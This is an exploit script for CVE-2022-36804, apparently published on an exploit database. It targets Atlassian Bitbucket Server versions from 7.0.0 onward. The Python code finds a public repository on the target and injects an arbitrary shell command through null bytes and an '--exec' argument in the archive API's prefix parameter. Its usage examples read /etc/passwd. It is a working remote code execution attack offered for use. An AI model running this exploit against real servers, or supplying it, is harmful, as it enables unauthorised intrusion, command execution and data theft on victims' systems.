Bitbucket v7.0.0 - Remote Code Execution Exploit

# Exploit Title: Bitbucket v7.0.0 -  RCE
# Exploit Author: khal4n1
# Vendor Homepage: https://github.com/khal4n1
# Tested on: Kali and ubuntu LTS 22.04
# CVE : cve-2022-36804

#****************************************************************#
#The following exploit is used to exploit a vulnerability present
#Atlassian Bitbucket Server and Data Center 7.0.0 before version
#7.6.17, from version 7.7.0 before version 7.17.10, from version
#7.18.0 before version 7.21.4, from version 8.0.0 before version
#8.0.3, from version 8.1.0 before version 8.1.3, and from version
#8.2.0 before version 8.2.2, and from version 8.3.0 before 8.3.1

#Usage Example

# python3 mexploit.py --url http://127.0.0.1:7990 --cmd 'cat /etc/passwd'

# python3 mexploit.py --url http://127.0.0.1:7990 --cmd 'id'

#The server will send a 500 http response with the stout output from the
# command  executed.


#****************************************************************#

#!/usr/bin/python3

import argparse
import urllib
from urllib import request
import re

#argument setup
parser = argparse.ArgumentParser(description='Program to test
bitbucket vulnerability CVE-2022-36804')
parser.add_argument("--url", help="Set the target to attack.
[REQUIRED]", required=True )
parser.add_argument("--cmd", help="Set the command to execute.
[DEFAULT ID]", required=True, default='id')
args = parser.parse_args()
cmd= urllib.parse.quote(args.cmd)


#reads from the public repository what is available
requ = request.urlopen(args.url+ "/repos?visibility=public")
response = requ.read()

#select a public project and stores it in a variable
project = re.findall('7990/projects/(.*)/repos/',
str(re.findall('7990/projects/(.*)/repos/', str(response))[-1]))[-1]

#Selects a public repo and stores it in a vatiable
file = re.findall('/repos/(.*)/browse',
str(re.findall('7990/projects/(.*)/repos/', str(response))[-1]))[0]

# Exploitation
try :
        attack = request.urlopen(args.url +
"/rest/api/latest/projects/" + project + "/repos/" + file +
"/archive?prefix=ax%00--exec=%60"+cmd+"%60%00--remote=origin")
        print (attack.response())
except urllib.error.HTTPError as e:
        body = e.read().decode()  # Read the body of the error response
        print (body)